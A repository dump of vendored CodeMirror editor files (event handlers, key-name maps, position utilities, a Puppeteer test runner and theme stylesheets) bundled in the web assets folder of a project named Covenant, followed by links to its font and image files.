| // garbage collected. 7 | 8 | function forEachCodeMirror(f) { 9 | if (!document.getElementsByClassName) return 10 | let byClass = document.getElementsByClassName("CodeMirror"), editors = [] 11 | for (let i = 0; i < byClass.length; i++) { 12 | let cm = byClass[i].CodeMirror 13 | if (cm) editors.push(cm) 14 | } 15 | if (editors.length) editors[0].operation(() => { 16 | for (let i = 0; i < editors.length; i++) f(editors[i]) 17 | }) 18 | } 19 | 20 | let globalsRegistered = false 21 | export function ensureGlobalHandlers() { 22 | if (globalsRegistered) return 23 | registerGlobalHandlers() 24 | globalsRegistered = true 25 | } 26 | function registerGlobalHandlers() { 27 | // When the window resizes, we need to refresh active editors. 28 | let resizeTimer 29 | on(window, "resize", () => { 30 | if (resizeTimer == null) resizeTimer = setTimeout(() => { 31 | resizeTimer = null 32 | forEachCodeMirror(onResize) 33 | }, 100) 34 | }) 35 | // When the window loses focus, we want to show the editor as blurred 36 | on(window, "blur", () => forEachCodeMirror(onBlur)) 37 | } 38 | // Called when the window resizes 39 | function onResize(cm) { 40 | let d = cm.display 41 | // Might be a text scaling operation, clear size caches. 42 | d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null 43 | d.scrollbarsClipped = false 44 | cm.setSize() 45 | } 46 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/edit/utils.js: -------------------------------------------------------------------------------- 1 | import { clearCaches } from "../measurement/position_measurement.js" 2 | 3 | export function themeChanged(cm) { 4 | cm.display.wrapper.className = cm.display.wrapper.className.replace(/\s*cm-s-\S+/g, "") + 5 | cm.options.theme.replace(/(^|\s)\s*/g, " cm-s-") 6 | clearCaches(cm) 7 | } 8 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/input/keynames.js: -------------------------------------------------------------------------------- 1 | export let keyNames = { 2 | 3: "Pause", 8: "Backspace", 9: "Tab", 13: "Enter", 16: "Shift", 17: "Ctrl", 18: "Alt", 3 | 19: "Pause", 20: "CapsLock", 27: "Esc", 32: "Space", 33: "PageUp", 34: "PageDown", 35: "End", 4 | 36: "Home", 37: "Left", 38: "Up", 39: "Right", 40: "Down", 44: "PrintScrn", 45: "Insert", 5 | 46: "Delete", 59: ";", 61: "=", 91: "Mod", 92: "Mod", 93: "Mod", 6 | 106: "*", 107: "=", 109: "-", 110: ".", 111: "/", 145: "ScrollLock", 7 | 173: "-", 186: ";", 187: "=", 188: ",", 189: "-", 190: ".", 191: "/", 192: "`", 219: "[", 220: "\\", 8 | 221: "]", 222: "'", 63232: "Up", 63233: "Down", 63234: "Left", 63235: "Right", 63272: "Delete", 9 | 63273: "Home", 63275: "End", 63276: "PageUp", 63277: "PageDown", 63302: "Insert" 10 | } 11 | 12 | // Number keys 13 | for (let i = 0; i < 10; i++) keyNames[i + 48] = keyNames[i + 96] = String(i) 14 | // Alphabetic keys 15 | for (let i = 65; i <= 90; i++) keyNames[i] = String.fromCharCode(i) 16 | // Function keys 17 | for (let i = 1; i <= 12; i++) keyNames[i + 111] = keyNames[i + 63235] = "F" + i 18 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/line/pos.js: -------------------------------------------------------------------------------- 1 | import { getLine } from "./utils_line.js" 2 | 3 | // A Pos instance represents a position within the text. 4 | export function Pos(line, ch, sticky = null) { 5 | if (!(this instanceof Pos)) return new Pos(line, ch, sticky) 6 | this.line = line 7 | this.ch = ch 8 | this.sticky = sticky 9 | } 10 | 11 | // Compare two positions, return 0 if they are the same, a negative 12 | // number when a is less, and a positive number otherwise. 13 | export function cmp(a, b) { return a.line - b.line || a.ch - b.ch } 14 | 15 | export function equalCursorPos(a, b) { return a.sticky == b.sticky && cmp(a, b) == 0 } 16 | 17 | export function copyPos(x) {return Pos(x.line, x.ch)} 18 | export function maxPos(a, b) { return cmp(a, b) < 0 ? b : a } 19 | export function minPos(a, b) { return cmp(a, b) < 0 ? a : b } 20 | 21 | // Most of the external API clips given positions to make sure they 22 | // actually exist within the document. 23 | export function clipLine(doc, n) {return Math.max(doc.first, Math.min(n, doc.first + doc.size - 1))} 24 | export function clipPos(doc, pos) { 25 | if (pos.line < doc.first) return Pos(doc.first, 0) 26 | let last = doc.first + doc.size - 1 27 | if (pos.line > last) return Pos(last, getLine(doc, last).text.length) 28 | return clipToLen(pos, getLine(doc, pos.line).text.length) 29 | } 30 | function clipToLen(pos, linelen) { 31 | let ch = pos.ch 32 | if (ch == null || ch > linelen) return Pos(pos.line, linelen) 33 | else if (ch < 0) return Pos(pos.line, 0) 34 | else return pos 35 | } 36 | export function clipPosArray(doc, array) { 37 | let out = [] 38 | for (let i = 0; i < array.length; i++) out[i] = clipPos(doc, array[i]) 39 | return out 40 | } 41 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/line/saw_special_spans.js: -------------------------------------------------------------------------------- 1 | // Optimize some code when these features are not used. 2 | export let sawReadOnlySpans = false, sawCollapsedSpans = false 3 | 4 | export function seeReadOnlySpans() { 5 | sawReadOnlySpans = true 6 | } 7 | 8 | export function seeCollapsedSpans() { 9 | sawCollapsedSpans = true 10 | } 11 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/src/measurement/widgets.js: -------------------------------------------------------------------------------- 1 | import { contains, elt, removeChildrenAndAdd } from "../util/dom.js" 2 | import { e_target } from "../util/event.js" 3 | 4 | export function widgetHeight(widget) { 5 | if (widget.height != null) return widget.height 6 | let cm = widget.doc.cm 7 | if (!cm) return 0 8 | if (!contains(document.body, widget.node)) { 9 | let parentStyle = "position: relative;" 10 | if (widget.coverGutter) 11 | parentStyle += "margin-left: -" + cm.display.gutters.offsetWidth + "px;" 12 | if (widget.noHScroll) 13 | parentStyle += "width: " + cm.display.wrapper.clientWidth + "px;" 14 | removeChildrenAndAdd(cm.display.measure, elt("div", [widget.node], null, parentStyle)) 15 | } 16 | return widget.height = widget.node.parentNode.offsetHeight 17 | } 18 | 19 | // Return true when the given mouse event happened in a widget 20 | export function eventInWidget(display, e) { 21 | for (let n = e_target(e); n != display.wrapper; n = n.parentNode) { 22 | if (!n || (n.nodeType == 1 && n.getAttribute("cm-ignore-events") == "true") || 23 | (n.parentNode == display.sizer && n != display.mover)) 24 | return true 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/test/lint.js: -------------------------------------------------------------------------------- 1 | var blint = require("blint"); 2 | 3 | ["mode", "lib", "addon", "keymap"].forEach(function(dir) { 4 | blint.checkDir(dir, { 5 | browser: true, 6 | allowedGlobals: ["CodeMirror", "define", "test", "requirejs", "globalThis"], 7 | ecmaVersion: 5, 8 | tabs: dir == "lib" 9 | }); 10 | }); 11 | 12 | ["src"].forEach(function(dir) { 13 | blint.checkDir(dir, { 14 | browser: true, 15 | ecmaVersion: 6, 16 | semicolons: false 17 | }); 18 | }); 19 | 20 | module.exports = {ok: blint.success()}; 21 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/test/mode_test.css: -------------------------------------------------------------------------------- 1 | .mt-output .mt-token { 2 | border: 1px solid #ddd; 3 | white-space: pre; 4 | font-family: "Consolas", monospace; 5 | text-align: center; 6 | } 7 | 8 | .mt-output .mt-style { 9 | font-size: x-small; 10 | } 11 | 12 | .mt-output .mt-state { 13 | font-size: x-small; 14 | vertical-align: top; 15 | } 16 | 17 | .mt-output .mt-state-row { 18 | display: none; 19 | } 20 | 21 | .mt-state-unhide .mt-output .mt-state-row { 22 | display: table-row; 23 | } 24 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/test/run.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | var lint = require("./lint"); 4 | 5 | var files = new (require('node-static').Server)(); 6 | 7 | var server = require('http').createServer(function (req, res) { 8 | req.addListener('end', function () { 9 | files.serve(req, res, function (err/*, result */) { 10 | if (err) { 11 | console.error(err); 12 | process.exit(1); 13 | } 14 | }); 15 | }).resume(); 16 | }).addListener('error', function (err) { 17 | throw err; 18 | }).listen(3000,(async () => { 19 | const puppeteer = require('puppeteer'); 20 | const browser = await puppeteer.launch({args: ["--no-sandbox", "--disable-setuid-sandbox"]}) 21 | const page = await browser.newPage() 22 | page.on('console', msg => console.log("console:", msg.text())) 23 | page.on('dialog', async dialog => { 24 | console.log(dialog.message()) 25 | await dialog.dismiss() 26 | }) 27 | page.evaluateOnNewDocument(() => window.automatedTests = true) 28 | await page.goto('http://localhost:3000/test/index.html#' + (process.argv[2] || "")) 29 | while(1) { 30 | if (await page.evaluate(() => window.done)) break 31 | await sleep(200) 32 | } 33 | let [failed, errors] = await page.evaluate(() => [window.failed, window.errored]) 34 | for (let error of errors) console.log(error) 35 | console.log(await page.evaluate(() => document.getElementById('output').innerText + "\n" + 36 | document.getElementById('status').innerText)) 37 | process.exit(failed > 0 || errors.length || !lint.ok ? 1 : 0) 38 | await browser.close() 39 | })()) 40 | 41 | function sleep(n) { return new Promise(acc => setTimeout(acc, n)) } 42 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/theme/ambiance-mobile.css: -------------------------------------------------------------------------------- 1 | .cm-s-ambiance.CodeMirror { 2 | -webkit-box-shadow: none; 3 | -moz-box-shadow: none; 4 | box-shadow: none; 5 | } 6 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/theme/bespin.css: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Name: Bespin 4 | Author: Mozilla / Jan T. Sott 5 | 6 | CodeMirror template by Jan T. Sott (https://github.com/idleberg/base16-codemirror) 7 | Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) 8 | 9 | */ 10 | 11 | .cm-s-bespin.CodeMirror {background: #28211c; color: #9d9b97;} 12 | .cm-s-bespin div.CodeMirror-selected {background: #36312e !important;} 13 | .cm-s-bespin .CodeMirror-gutters {background: #28211c; border-right: 0px;} 14 | .cm-s-bespin .CodeMirror-linenumber {color: #666666;} 15 | .cm-s-bespin .CodeMirror-cursor {border-left: 1px solid #797977 !important;} 16 | 17 | .cm-s-bespin span.cm-comment {color: #937121;} 18 | .cm-s-bespin span.cm-atom {color: #9b859d;} 19 | .cm-s-bespin span.cm-number {color: #9b859d;} 20 | 21 | .cm-s-bespin span.cm-property, .cm-s-bespin span.cm-attribute {color: #54be0d;} 22 | .cm-s-bespin span.cm-keyword {color: #cf6a4c;} 23 | .cm-s-bespin span.cm-string {color: #f9ee98;} 24 | 25 | .cm-s-bespin span.cm-variable {color: #54be0d;} 26 | .cm-s-bespin span.cm-variable-2 {color: #5ea6ea;} 27 | .cm-s-bespin span.cm-def {color: #cf7d34;} 28 | .cm-s-bespin span.cm-error {background: #cf6a4c; color: #797977;} 29 | .cm-s-bespin span.cm-bracket {color: #9d9b97;} 30 | .cm-s-bespin span.cm-tag {color: #cf6a4c;} 31 | .cm-s-bespin span.cm-link {color: #9b859d;} 32 | 33 | .cm-s-bespin .CodeMirror-matchingbracket { text-decoration: underline; color: white !important;} 34 | .cm-s-bespin .CodeMirror-activeline-background { background: #404040; } 35 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/theme/eclipse.css: -------------------------------------------------------------------------------- 1 | .cm-s-eclipse span.cm-meta { color: #FF1717; } 2 | .cm-s-eclipse span.cm-keyword { line-height: 1em; font-weight: bold; color: #7F0055; } 3 | .cm-s-eclipse span.cm-atom { color: #219; } 4 | .cm-s-eclipse span.cm-number { color: #164; } 5 | .cm-s-eclipse span.cm-def { color: #00f; } 6 | .cm-s-eclipse span.cm-variable { color: black; } 7 | .cm-s-eclipse span.cm-variable-2 { color: #0000C0; } 8 | .cm-s-eclipse span.cm-variable-3, .cm-s-eclipse span.cm-type { color: #0000C0; } 9 | .cm-s-eclipse span.cm-property { color: black; } 10 | .cm-s-eclipse span.cm-operator { color: black; } 11 | .cm-s-eclipse span.cm-comment { color: #3F7F5F; } 12 | .cm-s-eclipse span.cm-string { color: #2A00FF; } 13 | .cm-s-eclipse span.cm-string-2 { color: #f50; } 14 | .cm-s-eclipse span.cm-qualifier { color: #555; } 15 | .cm-s-eclipse span.cm-builtin { color: #30a; } 16 | .cm-s-eclipse span.cm-bracket { color: #cc7; } 17 | .cm-s-eclipse span.cm-tag { color: #170; } 18 | .cm-s-eclipse span.cm-attribute { color: #00c; } 19 | .cm-s-eclipse span.cm-link { color: #219; } 20 | .cm-s-eclipse span.cm-error { color: #f00; } 21 | 22 | .cm-s-eclipse .CodeMirror-activeline-background { background: #e8f2ff; } 23 | .cm-s-eclipse .CodeMirror-matchingbracket { outline:1px solid grey; color:black !important; } 24 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/theme/elegant.css: -------------------------------------------------------------------------------- 1 | .cm-s-elegant span.cm-number, .cm-s-elegant span.cm-string, .cm-s-elegant span.cm-atom { color: #762; } 2 | .cm-s-elegant span.cm-comment { color: #262; font-style: italic; line-height: 1em; } 3 | .cm-s-elegant span.cm-meta { color: #555; font-style: italic; line-height: 1em; } 4 | .cm-s-elegant span.cm-variable { color: black; } 5 | .cm-s-elegant span.cm-variable-2 { color: #b11; } 6 | .cm-s-elegant span.cm-qualifier { color: #555; } 7 | .cm-s-elegant span.cm-keyword { color: #730; } 8 | .cm-s-elegant span.cm-builtin { color: #30a; } 9 | .cm-s-elegant span.cm-link { color: #762; } 10 | .cm-s-elegant span.cm-error { background-color: #fdd; } 11 | 12 | .cm-s-elegant .CodeMirror-activeline-background { background: #e8f2ff; } 13 | .cm-s-elegant .CodeMirror-matchingbracket { outline:1px solid grey; color:black !important; } 14 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/theme/hopscotch.css: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Name: Hopscotch 4 | Author: Jan T. Sott 5 | 6 | CodeMirror template by Jan T. Sott (https://github.com/idleberg/base16-codemirror) 7 | Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) 8 | 9 | */ 10 | 11 | .cm-s-hopscotch.CodeMirror {background: #322931; color: #d5d3d5;} 12 | .cm-s-hopscotch div.CodeMirror-selected {background: #433b42 !important;} 13 | .cm-s-hopscotch .CodeMirror-gutters {background: #322931; border-right: 0px;} 14 | .cm-s-hopscotch .CodeMirror-linenumber {color: #797379;} 15 | .cm-s-hopscotch .CodeMirror-cursor {border-left: 1px solid #989498 !important;} 16 | 17 | .cm-s-hopscotch span.cm-comment {color: #b33508;} 18 | .cm-s-hopscotch span.cm-atom {color: #c85e7c;} 19 | .cm-s-hopscotch span.cm-number {color: #c85e7c;} 20 | 21 | .cm-s-hopscotch span.cm-property, .cm-s-hopscotch span.cm-attribute {color: #8fc13e;} 22 | .cm-s-hopscotch span.cm-keyword {color: #dd464c;} 23 | .cm-s-hopscotch span.cm-string {color: #fdcc59;} 24 | 25 | .cm-s-hopscotch span.cm-variable {color: #8fc13e;} 26 | .cm-s-hopscotch span.cm-variable-2 {color: #1290bf;} 27 | .cm-s-hopscotch span.cm-def {color: #fd8b19;} 28 | .cm-s-hopscotch span.cm-error {background: #dd464c; color: #989498;} 29 | .cm-s-hopscotch span.cm-bracket {color: #d5d3d5;} 30 | .cm-s-hopscotch span.cm-tag {color: #dd464c;} 31 | .cm-s-hopscotch span.cm-link {color: #c85e7c;} 32 | 33 | .cm-s-hopscotch .CodeMirror-matchingbracket { text-decoration: underline; color: white !important;} 34 | .cm-s-hopscotch .CodeMirror-activeline-background { background: #302020; } 35 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/theme/isotope.css: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Name: Isotope 4 | Author: David Desandro / Jan T. Sott 5 | 6 | CodeMirror template by Jan T. Sott (https://github.com/idleberg/base16-codemirror) 7 | Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) 8 | 9 | */ 10 | 11 | .cm-s-isotope.CodeMirror {background: #000000; color: #e0e0e0;} 12 | .cm-s-isotope div.CodeMirror-selected {background: #404040 !important;} 13 | .cm-s-isotope .CodeMirror-gutters {background: #000000; border-right: 0px;} 14 | .cm-s-isotope .CodeMirror-linenumber {color: #808080;} 15 | .cm-s-isotope .CodeMirror-cursor {border-left: 1px solid #c0c0c0 !important;} 16 | 17 | .cm-s-isotope span.cm-comment {color: #3300ff;} 18 | .cm-s-isotope span.cm-atom {color: #cc00ff;} 19 | .cm-s-isotope span.cm-number {color: #cc00ff;} 20 | 21 | .cm-s-isotope span.cm-property, .cm-s-isotope span.cm-attribute {color: #33ff00;} 22 | .cm-s-isotope span.cm-keyword {color: #ff0000;} 23 | .cm-s-isotope span.cm-string {color: #ff0099;} 24 | 25 | .cm-s-isotope span.cm-variable {color: #33ff00;} 26 | .cm-s-isotope span.cm-variable-2 {color: #0066ff;} 27 | .cm-s-isotope span.cm-def {color: #ff9900;} 28 | .cm-s-isotope span.cm-error {background: #ff0000; color: #c0c0c0;} 29 | .cm-s-isotope span.cm-bracket {color: #e0e0e0;} 30 | .cm-s-isotope span.cm-tag {color: #ff0000;} 31 | .cm-s-isotope span.cm-link {color: #cc00ff;} 32 | 33 | .cm-s-isotope .CodeMirror-matchingbracket { text-decoration: underline; color: white !important;} 34 | .cm-s-isotope .CodeMirror-activeline-background { background: #202020; } 35 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/theme/neat.css: -------------------------------------------------------------------------------- 1 | .cm-s-neat span.cm-comment { color: #a86; } 2 | .cm-s-neat span.cm-keyword { line-height: 1em; font-weight: bold; color: blue; } 3 | .cm-s-neat span.cm-string { color: #a22; } 4 | .cm-s-neat span.cm-builtin { line-height: 1em; font-weight: bold; color: #077; } 5 | .cm-s-neat span.cm-special { line-height: 1em; font-weight: bold; color: #0aa; } 6 | .cm-s-neat span.cm-variable { color: black; } 7 | .cm-s-neat span.cm-number, .cm-s-neat span.cm-atom { color: #3a3; } 8 | .cm-s-neat span.cm-meta { color: #555; } 9 | .cm-s-neat span.cm-link { color: #3a3; } 10 | 11 | .cm-s-neat .CodeMirror-activeline-background { background: #e8f2ff; } 12 | .cm-s-neat .CodeMirror-matchingbracket { outline:1px solid grey; color:black !important; } 13 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/theme/neo.css: -------------------------------------------------------------------------------- 1 | /* neo theme for codemirror */ 2 | 3 | /* Color scheme */ 4 | 5 | .cm-s-neo.CodeMirror { 6 | background-color:#ffffff; 7 | color:#2e383c; 8 | line-height:1.4375; 9 | } 10 | .cm-s-neo .cm-comment { color:#75787b; } 11 | .cm-s-neo .cm-keyword, .cm-s-neo .cm-property { color:#1d75b3; } 12 | .cm-s-neo .cm-atom,.cm-s-neo .cm-number { color:#75438a; } 13 | .cm-s-neo .cm-node,.cm-s-neo .cm-tag { color:#9c3328; } 14 | .cm-s-neo .cm-string { color:#b35e14; } 15 | .cm-s-neo .cm-variable,.cm-s-neo .cm-qualifier { color:#047d65; } 16 | 17 | 18 | /* Editor styling */ 19 | 20 | .cm-s-neo pre { 21 | padding:0; 22 | } 23 | 24 | .cm-s-neo .CodeMirror-gutters { 25 | border:none; 26 | border-right:10px solid transparent; 27 | background-color:transparent; 28 | } 29 | 30 | .cm-s-neo .CodeMirror-linenumber { 31 | padding:0; 32 | color:#e0e2e5; 33 | } 34 | 35 | .cm-s-neo .CodeMirror-guttermarker { color: #1d75b3; } 36 | .cm-s-neo .CodeMirror-guttermarker-subtle { color: #e0e2e5; } 37 | 38 | .cm-s-neo .CodeMirror-cursor { 39 | width: auto; 40 | border: 0; 41 | background: rgba(155,157,162,0.37); 42 | z-index: 1; 43 | } 44 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/theme/railscasts.css: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Name: Railscasts 4 | Author: Ryan Bates (http://railscasts.com) 5 | 6 | CodeMirror template by Jan T. Sott (https://github.com/idleberg/base16-codemirror) 7 | Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) 8 | 9 | */ 10 | 11 | .cm-s-railscasts.CodeMirror {background: #2b2b2b; color: #f4f1ed;} 12 | .cm-s-railscasts div.CodeMirror-selected {background: #272935 !important;} 13 | .cm-s-railscasts .CodeMirror-gutters {background: #2b2b2b; border-right: 0px;} 14 | .cm-s-railscasts .CodeMirror-linenumber {color: #5a647e;} 15 | .cm-s-railscasts .CodeMirror-cursor {border-left: 1px solid #d4cfc9 !important;} 16 | 17 | .cm-s-railscasts span.cm-comment {color: #bc9458;} 18 | .cm-s-railscasts span.cm-atom {color: #b6b3eb;} 19 | .cm-s-railscasts span.cm-number {color: #b6b3eb;} 20 | 21 | .cm-s-railscasts span.cm-property, .cm-s-railscasts span.cm-attribute {color: #a5c261;} 22 | .cm-s-railscasts span.cm-keyword {color: #da4939;} 23 | .cm-s-railscasts span.cm-string {color: #ffc66d;} 24 | 25 | .cm-s-railscasts span.cm-variable {color: #a5c261;} 26 | .cm-s-railscasts span.cm-variable-2 {color: #6d9cbe;} 27 | .cm-s-railscasts span.cm-def {color: #cc7833;} 28 | .cm-s-railscasts span.cm-error {background: #da4939; color: #d4cfc9;} 29 | .cm-s-railscasts span.cm-bracket {color: #f4f1ed;} 30 | .cm-s-railscasts span.cm-tag {color: #da4939;} 31 | .cm-s-railscasts span.cm-link {color: #b6b3eb;} 32 | 33 | .cm-s-railscasts .CodeMirror-matchingbracket { text-decoration: underline; color: white !important;} 34 | .cm-s-railscasts .CodeMirror-activeline-background { background: #303040; } 35 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/codemirror/theme/ssms.css: -------------------------------------------------------------------------------- 1 | .cm-s-ssms span.cm-keyword { color: blue; } 2 | .cm-s-ssms span.cm-comment { color: darkgreen; } 3 | .cm-s-ssms span.cm-string { color: red; } 4 | .cm-s-ssms span.cm-def { color: black; } 5 | .cm-s-ssms span.cm-variable { color: black; } 6 | .cm-s-ssms span.cm-variable-2 { color: black; } 7 | .cm-s-ssms span.cm-atom { color: darkgray; } 8 | .cm-s-ssms .CodeMirror-linenumber { color: teal; } 9 | .cm-s-ssms .CodeMirror-activeline-background { background: #ffffff; } 10 | .cm-s-ssms span.cm-string-2 { color: #FF00FF; } 11 | .cm-s-ssms span.cm-operator, 12 | .cm-s-ssms span.cm-bracket, 13 | .cm-s-ssms span.cm-punctuation { color: darkgray; } 14 | .cm-s-ssms .CodeMirror-gutters { border-right: 3px solid #ffee62; background-color: #ffffff; } 15 | .cm-s-ssms div.CodeMirror-selected { background: #ADD6FF; } 16 | 17 | -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/fonts/Feather.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/wwwroot/dist/fonts/Feather.ttf -------------------------------------------------------------------------------- /Covenant/wwwroot/dist/fonts/Feather.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/wwwroot/dist/fonts/Feather.woff -------------------------------------------------------------------------------- /Covenant/wwwroot/images/covenant-black.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/wwwroot/images/covenant-black.png -------------------------------------------------------------------------------- /Covenant/wwwroot/images/covenant-bluewhite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/wwwroot/images/covenant-bluewhite.png -------------------------------------------------------------------------------- /Covenant/wwwroot/images/covenant-white.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/wwwroot/images/covenant-white.png -------------------------------------------------------------------------------- /Covenant/wwwroot/images/covenant.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/wwwroot/images/covenant.png -------------------------------------------------------------------------------- /Covenant/wwwroot/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/wwwroot/images/favicon.ico -------------------------------------------------------------------------------- /Covenant/wwwroot/images/legend-blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/wwwroot/images/legend-blue.png -------------------------------------------------------------------------------- /Covenant/wwwroot/images/legend-green.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/wwwroot/images/legend-green.png -------------------------------------------------------------------------------- /Covenant/wwwroot/images/legend-red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cobbr/Covenant/5decc3ccfab04e6e881ed00c9de649740dac8ad1/Covenant/wwwroot/images/legend-red.png --------------------------------------------------------------------------------